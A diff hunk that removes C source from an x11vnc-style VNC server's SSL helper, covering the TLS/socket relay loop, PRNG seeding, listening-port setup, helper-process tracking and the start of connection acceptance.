- if ( c_wr && (s_rd || sptr > 0) ) {
- /*
- * C is writable and
- * S is readable or some sbuf data remaining
- */
- s_to_c = 1;
- } else {
- s_to_c = 0;
- }
-
- if (! c_to_s && ! s_to_c) {
- /*
- * nothing can be sent either direction.
- * break out of the loop to finish all work.
- */
- break;
- }
- cnt++;
-
- /* set up the fd sets for the two sockets for read & write: */
-
- FD_ZERO(&rd);
-
- if (c_rd && cptr < ABSIZE) {
- /* we could read more from C since cbuf is not full */
- FD_SET(csock, &rd);
- }
- if (s_rd) {
- /*
- * we could read more from S since sbuf not full,
- * OR ssl is waiting for more BIO to be able to
- * read and we have some C data still buffered.
- */
- if (sptr < ABSIZE || (cptr > 0 && SSL_want_read(ssl))) {
- FD_SET(s_in, &rd);
- }
- }
-
- FD_ZERO(&wr);
-
- if (c_wr && sptr > 0) {
- /* we could write more to C since sbuf is not empty */
- FD_SET(csock, &wr);
- }
- if (s_wr) {
- /*
- * we could write more to S since cbuf not empty,
- * OR ssl is waiting for more BIO to be able
- * write and we haven't filled up sbuf yet.
- */
- if (cptr > 0 || (sptr < ABSIZE && SSL_want_write(ssl))) {
- FD_SET(s_out, &wr);
- }
- }
-
- now = dnow();
- if (tv_cutover && now > start + tv_cutover) {
- rfbLog("SSL: ssl_xfer[%d]: tv_cutover: %d\n", getpid(),
- tv_cutover);
- tv_cutover = 0;
- if (is_https) {
- tv_use = tv_https_later;
- } else {
- tv_use = tv_vnc_later;
- }
- /* try to clean out some zombies if we can. */
- ssl_helper_pid(0, -2);
- }
- if (ssl_timeout_secs > 0) {
- tv_use = ssl_timeout_secs;
- }
-
- if ( (s_rd && c_rd) || cptr || sptr) {
- closing = 0;
- } else {
- closing = 1;
- tv_use = tv_closing;
- }
-
- tv.tv_sec = tv_use;
- tv.tv_usec = 0;
-
- /* do the select, repeat if interrupted */
- do {
- if (ssl_timeout_secs == 0) {
- nfd = select(fdmax+1, &rd, &wr, NULL, NULL);
- } else {
- nfd = select(fdmax+1, &rd, &wr, NULL, &tv);
- }
- } while (nfd < 0 && errno == EINTR);
-
- if (db > 1) fprintf(stderr, "nfd: %d\n", nfd);
-
-if (0) fprintf(stderr, "nfd[%d]: %d w/r csock: %d %d s_in: %d %d\n", getpid(), nfd, FD_ISSET(csock, &wr), FD_ISSET(csock, &rd), FD_ISSET(s_out, &wr), FD_ISSET(s_in, &rd));
-
- if (nfd < 0) {
- rfbLog("SSL: ssl_xfer[%d]: select error: %d\n", getpid(), nfd);
- perror("select");
- /* connection finished */
- goto done;
- }
-
- if (nfd == 0) {
- if (!closing && tv_cutover && ndata > 25000) {
- static int cn = 0;
- /* probably ok, early windows iconify */
- if (cn++ < 2) {
- rfbLog("SSL: ssl_xfer[%d]: early time"
- "out: %d\n", getpid(), ndata);
- }
- continue;
- }
- rfbLog("SSL: ssl_xfer[%d]: connection timedout. %d tv_use: %d\n",
- getpid(), ndata, tv_use);
- /* connection finished */
- goto done;
- }
-
- /* used to see if SSL_pending() should be checked: */
- check_pending = 0;
-/* AUDIT */
-
- if (c_wr && FD_ISSET(csock, &wr)) {
-
- /* try to write some of our sbuf to C: */
- n = write(csock, sbuf, sptr);
-
- if (n < 0) {
- if (errno != EINTR) {
- /* connection finished */
- goto done;
- }
- /* proceed */
- } else if (n == 0) {
- /* connection finished XXX double check */
- goto done;
- } else {
- /* shift over the data in sbuf by n */
- memmove(sbuf, sbuf + n, sptr - n);
- if (sptr == ABSIZE) {
- check_pending = 1;
- }
- sptr -= n;
-
- if (! s_rd && sptr == 0) {
- /* finished sending last of sbuf */
- shutdown(csock, SHUT_WR);
- c_wr = 0;
- }
- ndata += n;
- }
- }
-
- if (s_wr) {
- if ((cptr > 0 && FD_ISSET(s_out, &wr)) ||
- (SSL_want_read(ssl) && FD_ISSET(s_in, &rd))) {
-
- /* try to write some of our cbuf to S: */
-
- n = SSL_write(ssl, cbuf, cptr);
- err = SSL_get_error(ssl, n);
-
- if (err == SSL_ERROR_NONE) {
- /* shift over the data in cbuf by n */
- memmove(cbuf, cbuf + n, cptr - n);
- cptr -= n;
-
- if (! c_rd && cptr == 0 && s_wr) {
- /* finished sending last cbuf */
- SSL_shutdown(ssl);
- s_wr = 0;
- }
- ndata += n;
-
- } else if (err == SSL_ERROR_WANT_WRITE
- || err == SSL_ERROR_WANT_READ
- || err == SSL_ERROR_WANT_X509_LOOKUP) {
-
- ; /* proceed */
-
- } else if (err == SSL_ERROR_SYSCALL) {
- if (n < 0 && errno != EINTR) {
- /* connection finished */
- goto done;
- }
- /* proceed */
- } else if (err == SSL_ERROR_ZERO_RETURN) {
- /* S finished */
- s_rd = 0;
- s_wr = 0;
- } else if (err == SSL_ERROR_SSL) {
- /* connection finished */
- goto done;
- }
- }
- }
-
- if (c_rd && FD_ISSET(csock, &rd)) {
-
-
- /* try to read some data from C into our cbuf */
-
- n = read(csock, cbuf + cptr, ABSIZE - cptr);
-
- if (n < 0) {
- if (errno != EINTR) {
- /* connection finished */
- goto done;
- }
- /* proceed */
- } else if (n == 0) {
- /* C is EOF */
- c_rd = 0;
- if (cptr == 0 && s_wr) {
- /* and no more in cbuf to send */
- SSL_shutdown(ssl);
- s_wr = 0;
- }
- } else {
- /* good */
-
- cptr += n;
- ndata += n;
- }
- }
-
- if (s_rd) {
- if ((sptr < ABSIZE && FD_ISSET(s_in, &rd)) ||
- (SSL_want_write(ssl) && FD_ISSET(s_out, &wr)) ||
- (check_pending && SSL_pending(ssl))) {
-
- /* try to read some data from S into our sbuf */
-
- n = SSL_read(ssl, sbuf + sptr, ABSIZE - sptr);
- err = SSL_get_error(ssl, n);
-
- if (err == SSL_ERROR_NONE) {
- /* good */
-
- sptr += n;
- ndata += n;
-
- } else if (err == SSL_ERROR_WANT_WRITE
- || err == SSL_ERROR_WANT_READ
- || err == SSL_ERROR_WANT_X509_LOOKUP) {
-
- ; /* proceed */
-
- } else if (err == SSL_ERROR_SYSCALL) {
- if (n < 0) {
- if(errno != EINTR) {
- /* connection finished */
- goto done;
- }
- /* proceed */
- } else {
- /* S finished */
- s_rd = 0;
- s_wr = 0;
- }
- } else if (err == SSL_ERROR_ZERO_RETURN) {
- /* S is EOF */
- s_rd = 0;
- if (cptr == 0 && s_wr) {
- /* and no more in cbuf to send */
- SSL_shutdown(ssl);
- s_wr = 0;
- }
- if (sptr == 0 && c_wr) {
- /* and no more in sbuf to send */
- shutdown(csock, SHUT_WR);
- c_wr = 0;
- }
- } else if (err == SSL_ERROR_SSL) {
- /* connection finished */
- goto done;
- }
- }
- }
- }
-
- done:
- rfbLog("SSL: ssl_xfer[%d]: closing sockets %d, %d, %d\n",
- getpid(), csock, s_in, s_out);
- close(csock);
- close(s_in);
- close(s_out);
- return;
-}
-
-#define MSZ 4096
-static void init_prng(void) {
- int db = 0, bytes, ubytes, fd;
- char file[MSZ], dtmp[100];
- unsigned int sr;
-
- RAND_file_name(file, MSZ);
-
- rfbLog("RAND_file_name: %s\n", file);
-
- bytes = RAND_load_file(file, -1);
- if (db) fprintf(stderr, "bytes read: %d\n", bytes);
-
- ubytes = RAND_load_file("/dev/urandom", 64);
- bytes += ubytes;
- if (db) fprintf(stderr, "bytes read: %d / %d\n", bytes, ubytes);
-
- /* mix in more predictable stuff as well for fallback */
- sprintf(dtmp, "/tmp/p%.8f.XXXXXX", dnow());
- fd = mkstemp(dtmp);
- RAND_add(dtmp, strlen(dtmp), 0);
- if (fd >= 0) {
- close(fd);
- unlink(dtmp);
- }
- sprintf(dtmp, "%d-%.8f", (int) getpid(), dnow());
- RAND_add(dtmp, strlen(dtmp), 0);
-
- if (!RAND_status()) {
- ubytes = -1;
- rfbLog("calling RAND_poll()\n");
- RAND_poll();
- }
-
- RAND_bytes((unsigned char *)&sr, 4);
- srand(sr);
-
- if (bytes > 0) {
- if (! quiet) {
- rfbLog("initialized PRNG with %d random bytes.\n",
- bytes);
- }
- if (ubytes > 32 && rnow() < 0.25) {
- RAND_write_file(file);
- }
- return;
- }
-
- bytes += RAND_load_file("/dev/random", 8);
- if (db) fprintf(stderr, "bytes read: %d\n", bytes);
- RAND_poll();
-
- if (! quiet) {
- rfbLog("initialized PRNG with %d random bytes.\n", bytes);
- }
-}
-#endif /* FORK_OK */
-#endif /* LIBVNCSERVER_HAVE_LIBSSL */
-
-void check_openssl(void) {
- fd_set fds;
- struct timeval tv;
- int nfds, nmax = openssl_sock;
- static time_t last_waitall = 0;
- static double last_check = 0.0;
- double now;
-
- if (! use_openssl) {
- return;
- }
-
- if (time(NULL) > last_waitall + 120) {
- last_waitall = time(NULL);
- ssl_helper_pid(0, -2); /* waitall */
- }
-
- if (openssl_sock < 0 && openssl_sock6 < 0) {
- return;
- }
-
- now = dnow();
- if (now < last_check + 0.5) {
- return;
- }
- last_check = now;
-
- FD_ZERO(&fds);
- if (openssl_sock >= 0) {
- FD_SET(openssl_sock, &fds);
- }
- if (openssl_sock6 >= 0) {
- FD_SET(openssl_sock6, &fds);
- if (openssl_sock6 > openssl_sock) {
- nmax = openssl_sock6;
- }
- }
-
- tv.tv_sec = 0;
- tv.tv_usec = 0;
-
- nfds = select(nmax+1, &fds, NULL, NULL, &tv);
-
- if (nfds <= 0) {
- return;
- }
-
- if (openssl_sock >= 0 && FD_ISSET(openssl_sock, &fds)) {
- rfbLog("SSL: accept_openssl(OPENSSL_VNC)\n");
- accept_openssl(OPENSSL_VNC, -1);
- }
- if (openssl_sock6 >= 0 && FD_ISSET(openssl_sock6, &fds)) {
- rfbLog("SSL: accept_openssl(OPENSSL_VNC6)\n");
- accept_openssl(OPENSSL_VNC6, -1);
- }
-}
-
-void check_https(void) {
- fd_set fds;
- struct timeval tv;
- int nfds, nmax = https_sock;
- static double last_check = 0.0;
- double now;
-
- if (! use_openssl || (https_sock < 0 && https_sock6 < 0)) {
- return;
- }
-
- now = dnow();
- if (now < last_check + 0.5) {
- return;
- }
- last_check = now;
-
- FD_ZERO(&fds);
- if (https_sock >= 0) {
- FD_SET(https_sock, &fds);
- }
- if (https_sock6 >= 0) {
- FD_SET(https_sock6, &fds);
- if (https_sock6 > https_sock) {
- nmax = https_sock6;
- }
- }
-
- tv.tv_sec = 0;
- tv.tv_usec = 0;
-
- nfds = select(nmax+1, &fds, NULL, NULL, &tv);
-
- if (nfds <= 0) {
- return;
- }
-
- if (https_sock >= 0 && FD_ISSET(https_sock, &fds)) {
- rfbLog("SSL: accept_openssl(OPENSSL_HTTPS)\n");
- accept_openssl(OPENSSL_HTTPS, -1);
- }
- if (https_sock6 >= 0 && FD_ISSET(https_sock6, &fds)) {
- rfbLog("SSL: accept_openssl(OPENSSL_HTTPS6)\n");
- accept_openssl(OPENSSL_HTTPS6, -1);
- }
-}
-
-void openssl_port(int restart) {
- int sock = -1, shutdown = 0;
- static int port = -1;
- static in_addr_t iface = INADDR_ANY;
- int db = 0, fd6 = -1;
-
- if (! screen) {
- rfbLog("openssl_port: no screen!\n");
- clean_up_exit(1);
- }
- if (inetd) {
- ssl_initialized = 1;
- return;
- }
-
- if (ipv6_listen && screen->port <= 0) {
- if (got_rfbport) {
- screen->port = got_rfbport_val;
- } else {
- int ap = 5900;
- if (auto_port > 0) {
- ap = auto_port;
- }
- screen->port = find_free_port6(ap, ap+200);
- }
- rfbLog("openssl_port: reset port from 0 => %d\n", screen->port);
- }
-
- if (restart) {
- port = screen->port;
- } else if (screen->listenSock > -1 && screen->port > 0) {
- port = screen->port;
- shutdown = 1;
- } else if (ipv6_listen && screen->port > 0) {
- port = screen->port;
- } else if (screen->port == 0) {
- port = screen->port;
- }
-
- iface = screen->listenInterface;
-
- if (shutdown) {
- if (db) fprintf(stderr, "shutting down %d/%d\n",
- port, screen->listenSock);
-#if LIBVNCSERVER_HAS_SHUTDOWNSOCKETS
- rfbShutdownSockets(screen);
-#endif
- }
-
- if (openssl_sock >= 0) {
- close(openssl_sock);
- openssl_sock = -1;
- }
- if (openssl_sock6 >= 0) {
- close(openssl_sock6);
- openssl_sock6 = -1;
- }
-
- if (port < 0) {
- rfbLog("openssl_port: could not obtain listening port %d\n", port);
- if (!got_rfbport && !got_ipv6_listen) {
- rfbLog("openssl_port: if this system is IPv6-only, use the -6 option\n");
- }
- clean_up_exit(1);
- } else if (port == 0) {
- /* no listen case, i.e. -connect */
- sock = -1;
- } else {
- sock = listen_tcp(port, iface, 0);
- if (ipv6_listen) {
- fd6 = listen6(port);
- } else if (!got_rfbport && !got_ipv6_listen) {
- if (sock < 0) {
- rfbLog("openssl_port: if this system is IPv6-only, use the -6 option\n");
- }
- }
- if (sock < 0) {
- if (fd6 < 0) {
- rfbLog("openssl_port: could not reopen port %d\n", port);
- if (!restart) {
- clean_up_exit(1);
- }
- } else {
- rfbLog("openssl_port: Info: listening on IPv6 only.\n");
- }
- }
- }
- rfbLog("openssl_port: listen on port/sock %d/%d\n", port, sock);
- if (ipv6_listen && port > 0) {
- if (fd6 < 0) {
- fd6 = listen6(port);
- }
- if (fd6 < 0) {
- ipv6_listen = 0;
- } else {
- rfbLog("openssl_port: listen on port/sock %d/%d (ipv6)\n",
- port, fd6);
- openssl_sock6 = fd6;
- }
- }
- if (!quiet && sock >=0) {
- announce(port, 1, NULL);
- }
- openssl_sock = sock;
- openssl_port_num = port;
-
- ssl_initialized = 1;
-}
-
-void https_port(int restart) {
- int sock, fd6 = -1;
- static int port = 0;
- static in_addr_t iface = INADDR_ANY;
-
- /* as openssl_port above: open a listening socket for pure https: */
- if (https_port_num < 0) {
- return;
- }
- if (! screen) {
- rfbLog("https_port: no screen!\n");
- clean_up_exit(1);
- }
- if (! screen->httpDir) {
- return;
- }
- if (screen->listenInterface) {
- iface = screen->listenInterface;
- }
-
- if (https_port_num == 0) {
- https_port_num = find_free_port(5801, 5851);
- }
- if (ipv6_listen && https_port_num <= 0) {
- https_port_num = find_free_port6(5801, 5851);
- }
- if (https_port_num <= 0) {
- rfbLog("https_port: could not find port %d\n", https_port_num);
- clean_up_exit(1);
- }
- port = https_port_num;
-
- if (port <= 0) {
- rfbLog("https_port: could not obtain listening port %d\n", port);
- if (!restart) {
- clean_up_exit(1);
- } else {
- return;
- }
- }
- if (https_sock >= 0) {
- close(https_sock);
- https_sock = -1;
- }
- if (https_sock6 >= 0) {
- close(https_sock6);
- https_sock6 = -1;
- }
- sock = listen_tcp(port, iface, 0);
- if (sock < 0) {
- rfbLog("https_port: could not open port %d\n", port);
- if (ipv6_listen) {
- fd6 = listen6(port);
- }
- if (fd6 < 0) {
- if (!restart) {
- clean_up_exit(1);
- }
- }
- rfbLog("https_port: trying IPv6 only mode.\n");
- }
- rfbLog("https_port: listen on port/sock %d/%d\n", port, sock);
- https_sock = sock;
-
- if (ipv6_listen) {
- if (fd6 < 0) {
- fd6 = listen6(port);
- }
- if (fd6 < 0) {
- ;
- } else {
- rfbLog("https_port: listen on port/sock %d/%d (ipv6)\n",
- port, fd6);
- https_sock6 = fd6;
- }
- if (fd6 < 0 && https_sock < 0) {
- rfbLog("https_port: could not listen on either IPv4 or IPv6.\n");
- if (!restart) {
- clean_up_exit(1);
- }
- }
- }
-}
-
-static void lose_ram(void) {
- /*
- * for a forked child that will be around for a long time
- * without doing exec(). we really should re-exec, but a pain
- * to redo all SSL ctx.
- */
- free_old_fb();
-
- free_tiles();
-}
-
-/* utility to keep track of existing helper processes: */
-
-void ssl_helper_pid(pid_t pid, int sock) {
-# define HPSIZE 256
- static pid_t helpers[HPSIZE];
- static int sockets[HPSIZE], first = 1;
- int i, empty, set, status;
- static int db = 0;
-
- if (first) {
- for (i=0; i < HPSIZE; i++) {
- helpers[i] = 0;
- sockets[i] = 0;
- }
- if (getenv("SSL_HELPER_PID_DB")) {
- db = 1;
- }
- first = 0;
- }
-
-
- if (pid == 0) {
- /* killall or waitall */
- for (i=0; i < HPSIZE; i++) {
- if (helpers[i] == 0) {
- sockets[i] = -1;
- continue;
- }
- if (kill(helpers[i], 0) == 0) {
- int kret = -2;
- pid_t wret;
- if (sock != -2) {
- if (sockets[i] >= 0) {
- close(sockets[i]);
- }
- kret = kill(helpers[i], SIGTERM);
- if (kret == 0) {
- usleep(20 * 1000);
- }
- }
-
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H && LIBVNCSERVER_HAVE_WAITPID
- wret = waitpid(helpers[i], &status, WNOHANG);
-
-if (db) fprintf(stderr, "waitpid(%d)\n", helpers[i]);
-if (db) fprintf(stderr, " waitret1=%d\n", wret);
-
- if (kret == 0 && wret != helpers[i]) {
- int k;
- for (k=0; k < 10; k++) {
- usleep(100 * 1000);
- wret = waitpid(helpers[i], &status, WNOHANG);
-if (db) fprintf(stderr, " waitret2=%d\n", wret);
- if (wret == helpers[i]) {
- break;
- }
- }
- }
-#endif
- if (sock == -2) {
- continue;
- }
- }
- helpers[i] = 0;
- sockets[i] = -1;
- }
- return;
- }
-
-if (db) fprintf(stderr, "ssl_helper_pid(%d, %d)\n", pid, sock);
-
- /* add (or delete for sock == -1) */
- set = 0;
- empty = -1;
- for (i=0; i < HPSIZE; i++) {
- if (helpers[i] == pid) {
- if (sock == -1) {
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H && LIBVNCSERVER_HAVE_WAITPID
- pid_t wret;
- wret = waitpid(helpers[i], &status, WNOHANG);
-
-if (db) fprintf(stderr, "waitpid(%d) 2\n", helpers[i]);
-if (db) fprintf(stderr, " waitret1=%d\n", wret);
-#endif
- helpers[i] = 0;
- }
- sockets[i] = sock;
- set = 1;
- } else if (empty == -1 && helpers[i] == 0) {
- empty = i;
- }
- }
- if (set || sock == -1) {
- return; /* done */
- }
-
- /* now try to store */
- if (empty >= 0) {
- helpers[empty] = pid;
- sockets[empty] = sock;
- return;
- }
- for (i=0; i < HPSIZE; i++) {
- if (helpers[i] == 0) {
- continue;
- }
- /* clear out stale pids: */
- if (kill(helpers[i], 0) != 0) {
- helpers[i] = 0;
- sockets[i] = -1;
-
- if (empty == -1) {
- empty = i;
- }
- }
- }
- if (empty >= 0) {
- helpers[empty] = pid;
- sockets[empty] = sock;
- }
-}
-
-static int is_ssl_readable(int s_in, double last_https, char *last_get,
- int mode) {
- int nfd, db = 0;
- struct timeval tv;
- fd_set rd;
-
- if (getenv("ACCEPT_OPENSSL_DEBUG")) {
- db = atoi(getenv("ACCEPT_OPENSSL_DEBUG"));
- }
-
- /*
- * we'll do a select() on s_in for reading. this is not an
- * absolute proof that SSL_read is ready (XXX use SSL utility).
- */
- tv.tv_sec = 2;
- tv.tv_usec = 0;
-
- if (mode == OPENSSL_INETD) {
- /*
- * https via inetd is icky because x11vnc is restarted
- * for each socket (and some clients send requests
- * rapid fire).
- */
- tv.tv_sec = 4;
- }
-
- /*
- * increase the timeout if we know HTTP traffic has occurred
- * recently:
- */
- if (dnow() < last_https + 30.0) {
- tv.tv_sec = 10;
- if (last_get && strstr(last_get, "VncViewer")) {
- tv.tv_sec = 5;
- }
- }
- if (getenv("X11VNC_HTTPS_VS_VNC_TIMEOUT")) {
- tv.tv_sec = atoi(getenv("X11VNC_HTTPS_VS_VNC_TIMEOUT"));
- }
-if (db) fprintf(stderr, "tv_sec: %d - '%s'\n", (int) tv.tv_sec, last_get);
-
- FD_ZERO(&rd);
- FD_SET(s_in, &rd);
-
- if (db) fprintf(stderr, "is_ssl_readable: begin select(%d secs) %.6f\n", (int) tv.tv_sec, dnow());
- do {
- nfd = select(s_in+1, &rd, NULL, NULL, &tv);
- } while (nfd < 0 && errno == EINTR);
- if (db) fprintf(stderr, "is_ssl_readable: finish select(%d secs) %.6f\n", (int) tv.tv_sec, dnow());
-
- if (db) fprintf(stderr, "https nfd: %d\n", nfd);
-
- if (nfd <= 0 || ! FD_ISSET(s_in, &rd)) {
- return 0;
- }
- return 1;
-}
-
-static int watch_for_http_traffic(char *buf_a, int *n_a, int raw_sock) {
- int is_http, err, n, n2;
- char *buf;
- int db = 0;
- /*
- * sniff the first couple bytes of the stream and try to see
- * if it is http or not. if we read them OK, we must read the
- * rest of the available data otherwise we may deadlock.
- * what has been read is returned in buf_a and n_a.
- * *buf_a is ABSIZE+1 long and zeroed.
- */
- if (getenv("ACCEPT_OPENSSL_DEBUG")) {
- db = atoi(getenv("ACCEPT_OPENSSL_DEBUG"));
- }
- if (! buf_a || ! n_a) {
- return 0;
- }
-
- buf = (char *) calloc((ABSIZE+1), 1);
- *n_a = 0;
-
- if (enc_str && !strcmp(enc_str, "none")) {
- n = read(raw_sock, buf, 2);
- err = SSL_ERROR_NONE;
- } else {
-#if LIBVNCSERVER_HAVE_LIBSSL
- n = SSL_read(ssl, buf, 2);
- err = SSL_get_error(ssl, n);
-#else
- err = n = 0;
- badnews("1 in watch_for_http_traffic");
-#endif
- }
-
- if (err != SSL_ERROR_NONE || n < 2) {
- if (n > 0) {
- strncpy(buf_a, buf, n);
- *n_a = n;
- }
- if (db) fprintf(stderr, "watch_for_http_traffic ssl err: %d/%d\n", err, n);
- return -1;
- }
-
- /* look for GET, HEAD, POST, CONNECT */
- is_http = 0;
- if (!strncmp("GE", buf, 2)) {
- is_http = 1;
- } else if (!strncmp("HE", buf, 2)) {
- is_http = 1;
- } else if (!strncmp("PO", buf, 2)) {
- is_http = 1;
- } else if (!strncmp("CO", buf, 2)) {
- is_http = 1;
- }
- if (db) fprintf(stderr, "watch_for_http_traffic read: '%s' %d\n", buf, n);
-
- /*
- * better read all we can and fwd it along to avoid blocking
- * in ssl_xfer().
- */
-
- if (enc_str && !strcmp(enc_str, "none")) {
- n2 = read(raw_sock, buf + n, ABSIZE - n);
- } else {
-#if LIBVNCSERVER_HAVE_LIBSSL
- n2 = SSL_read(ssl, buf + n, ABSIZE - n);
-#else
- n2 = 0;
- badnews("2 in watch_for_http_traffic");
-#endif
- }
- if (n2 >= 0) {
- n += n2;
- }
-
- *n_a = n;
-
- if (db) fprintf(stderr, "watch_for_http_traffic readmore: %d\n", n2);
-
- if (n > 0) {
- memcpy(buf_a, buf, n);
- }
- if (db > 1) {
- fprintf(stderr, "watch_for_http_traffic readmore: ");
- write(2, buf_a, *n_a);
- fprintf(stderr, "\n");
- }
- if (db) fprintf(stderr, "watch_for_http_traffic return: %d\n", is_http);
- return is_http;
-}
-
-static int csock_timeout_sock = -1;
-
-static void csock_timeout (int sig) {
- rfbLog("sig: %d, csock_timeout.\n", sig);
- if (csock_timeout_sock >= 0) {
- close(csock_timeout_sock);
- csock_timeout_sock = -1;
- }
-}
-
-static int check_ssl_access(char *addr) {
- static char *save_allow_once = NULL;
- static time_t time_allow_once = 0;
-
- /* due to "Fetch Cert" activities for SSL really need to "allow twice" */
- if (allow_once != NULL) {
- save_allow_once = strdup(allow_once);
- time_allow_once = time(NULL);
- } else if (save_allow_once != NULL) {
- if (getenv("X11VNC_NO_SSL_ALLOW_TWICE")) {
- ;
- } else if (time(NULL) < time_allow_once + 30) {
- /* give them 30 secs to check and save the fetched cert. */
- allow_once = save_allow_once;
- rfbLog("SSL: Permitting 30 sec grace period for allowonce.\n");
- rfbLog("SSL: Set X11VNC_NO_SSL_ALLOW_TWICE=1 to disable.\n");
- }
- save_allow_once = NULL;
- time_allow_once = 0;
- }
-
- return check_access(addr);
-}
-
-void accept_openssl(int mode, int presock) {
- int sock = -1, listen = -1, cport, csock, vsock;
- int peerport = 0;
- int status, n, i, db = 0;
- struct sockaddr_in addr;
-#ifdef __hpux
- int addrlen = sizeof(addr);
-#else
- socklen_t addrlen = sizeof(addr);
-#endif
- rfbClientPtr client;
- pid_t pid;
- char uniq[] = "_evilrats_";
- char cookie[256], rcookie[256], *name = NULL;
- int vencrypt_sel = 0;
- int anontls_sel = 0;
- char *ipv6_name = NULL;
- static double last_https = 0.0;
- static char last_get[256];
- static int first = 1;
- unsigned char *rb;
-
-#if !LIBVNCSERVER_HAVE_LIBSSL
- if (enc_str == NULL || strcmp(enc_str, "none")) {
- badnews("0 accept_openssl");
- }
-#endif
-
- openssl_last_helper_pid = 0;
-
- /* zero buffers for use below. */
- for (i=0; i<256; i++) {
- if (first) {
- last_get[i] = '\0';
- }
- cookie[i] = '\0';
- rcookie[i] = '\0';
- }
- first = 0;
-
- if (getenv("ACCEPT_OPENSSL_DEBUG")) {
- db = atoi(getenv("ACCEPT_OPENSSL_DEBUG"));
- }
-
- /* do INETD, VNC, or HTTPS cases (result is client socket or pipe) */
- if (mode == OPENSSL_INETD) {
- ssl_initialized = 1;
-
- } else if (mode == OPENSSL_VNC) {
- sock = accept(openssl_sock, (struct sockaddr *)&addr, &addrlen);
- if (sock < 0) {
- rfbLog("SSL: accept_openssl: accept connection failed\n");
- rfbLogPerror("accept");
- if (ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
- }
- listen = openssl_sock;
-
- } else if (mode == OPENSSL_VNC6 || mode == OPENSSL_HTTPS6) {
-#if X11VNC_IPV6
- struct sockaddr_in6 a6;
- socklen_t a6len = sizeof(a6);
- int fd = (mode == OPENSSL_VNC6 ? openssl_sock6 : https_sock6);
-
- sock = accept(fd, (struct sockaddr *)&a6, &a6len);
- if (sock < 0) {
- rfbLog("SSL: accept_openssl: accept connection failed\n");
- rfbLogPerror("accept");
- if (ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
- }
- ipv6_name = ipv6_getipaddr((struct sockaddr *)&a6, a6len);
- if (!ipv6_name) ipv6_name = strdup("unknown");
- listen = fd;
-#endif
- } else if (mode == OPENSSL_REVERSE) {
- sock = presock;
- if (sock < 0) {
- rfbLog("SSL: accept_openssl: connection failed\n");
- if (ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
- }
- if (getenv("OPENSSL_REVERSE_DEBUG")) fprintf(stderr, "OPENSSL_REVERSE: ipv6_client_ip_str: %s\n", ipv6_client_ip_str);
- if (ipv6_client_ip_str != NULL) {
- ipv6_name = strdup(ipv6_client_ip_str);
- }
- listen = -1;
-
- } else if (mode == OPENSSL_HTTPS) {
- sock = accept(https_sock, (struct sockaddr *)&addr, &addrlen);
- if (sock < 0) {
- rfbLog("SSL: accept_openssl: accept connection failed\n");
- rfbLogPerror("accept");
- if (ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
- }
- listen = https_sock;
- }
- if (db) fprintf(stderr, "SSL: accept_openssl: sock: %d\n", sock);
-
- if (openssl_last_ip) {
- free(openssl_last_ip);
- openssl_last_ip = NULL;
- }
- if (mode == OPENSSL_INETD) {
- openssl_last_ip = get_remote_host(fileno(stdin));
- } else if (mode == OPENSSL_VNC6 || mode == OPENSSL_HTTPS6) {
- openssl_last_ip = ipv6_name;
- } else if (mode == OPENSSL_REVERSE && ipv6_name != NULL) {
- openssl_last_ip = ipv6_name;
- } else {
- openssl_last_ip = get_remote_host(sock);
- }
-
- if (!check_ssl_access(openssl_last_ip)) {
- rfbLog("SSL: accept_openssl: denying client %s\n", openssl_last_ip);
- rfbLog("SSL: accept_openssl: does not match -allow or other reason.\n");
- close(sock);
- sock = -1;
- if (ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
- }
-
- /* now make a listening socket for child to connect back to us by: */
-
- cport = find_free_port(20000, 22000);
- if (! cport && ipv6_listen) {
- rfbLog("SSL: accept_openssl: seeking IPv6 port.\n");
- cport = find_free_port6(20000, 22000);
- rfbLog("SSL: accept_openssl: IPv6 port: %d\n", cport);
- }
- if (! cport) {
- rfbLog("SSL: accept_openssl: could not find open port.\n");
- close(sock);
- if (mode == OPENSSL_INETD || ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
- }
- if (db) fprintf(stderr, "accept_openssl: cport: %d\n", cport);
-
- csock = listen_tcp(cport, htonl(INADDR_LOOPBACK), 1);
-
- if (csock < 0) {
- rfbLog("SSL: accept_openssl: could not listen on port %d.\n",
- cport);
- close(sock);
- if (mode == OPENSSL_INETD || ssl_no_fail) {
- clean_up_exit(1);
- }
- return;
- }
- if (db) fprintf(stderr, "accept_openssl: csock: %d\n", csock);
-
- fflush(stderr);
-
- /*
- * make a simple cookie to id the child socket, not foolproof
- * but hard to guess exactly (just worrying about local lusers
- * here, since we use INADDR_LOOPBACK).
- */
- rb = (unsigned char *) calloc(6, 1);
-#if LIBVNCSERVER_HAVE_LIBSSL
- RAND_bytes(rb, 6);
-#endif
- sprintf(cookie, "RB=%d%d%d%d%d%d/%f%f/%p",
- rb[0], rb[1], rb[2], rb[3], rb[4], rb[5],
- dnow() - x11vnc_start, x11vnc_start, (void *)rb);
-
- if (mode == OPENSSL_VNC6) {
- name = strdup(ipv6_name);
- peerport = get_remote_port(sock);
- } else if (mode == OPENSSL_REVERSE && ipv6_name != NULL) {
- name = strdup(ipv6_name);
- peerport = get_remote_port(sock);
- } else if (mode != OPENSSL_INETD) {
- name = get_remote_host(sock);
- peerport = get_remote_port(sock);
- } else {
- openssl_last_ip = get_remote_host(fileno(stdin));
- peerport = get_remote_port(fileno(stdin));
- if (openssl_last_ip) {
- name = strdup(openssl_last_ip);
- } else {
- name = strdup("unknown");
- }
- }
- if (name) {
- if (mode == OPENSSL_INETD) {
- rfbLog("SSL: (inetd) spawning helper process "
- "to handle: %s:%d\n", name, peerport);
- } else {
- rfbLog("SSL: spawning helper process to handle: "
- "%s:%d\n", name, peerport);
- }
- free(name);
- name = NULL;
- }
-
- if (certret) {
- free(certret);
- }
- if (certret_str) {
- free(certret_str);
- certret_str = NULL;
- }
- certret = strdup("/tmp/x11vnc-certret.XXXXXX");
- omode = umask(077);
- certret_fd = mkstemp(certret);
- umask(omode);
- if (certret_fd < 0) {
- free(certret);
- certret = NULL;
- certret_fd = -1;
- }
-
- if (dhret) {
- free(dhret);
- }
- if (dhret_str) {
- free(dhret_str);
- dhret_str = NULL;
- }
- dhret = strdup("/tmp/x11vnc-dhret.XXXXXX");
- omode = umask(077);
- dhret_fd = mkstemp(dhret);
- umask(omode);
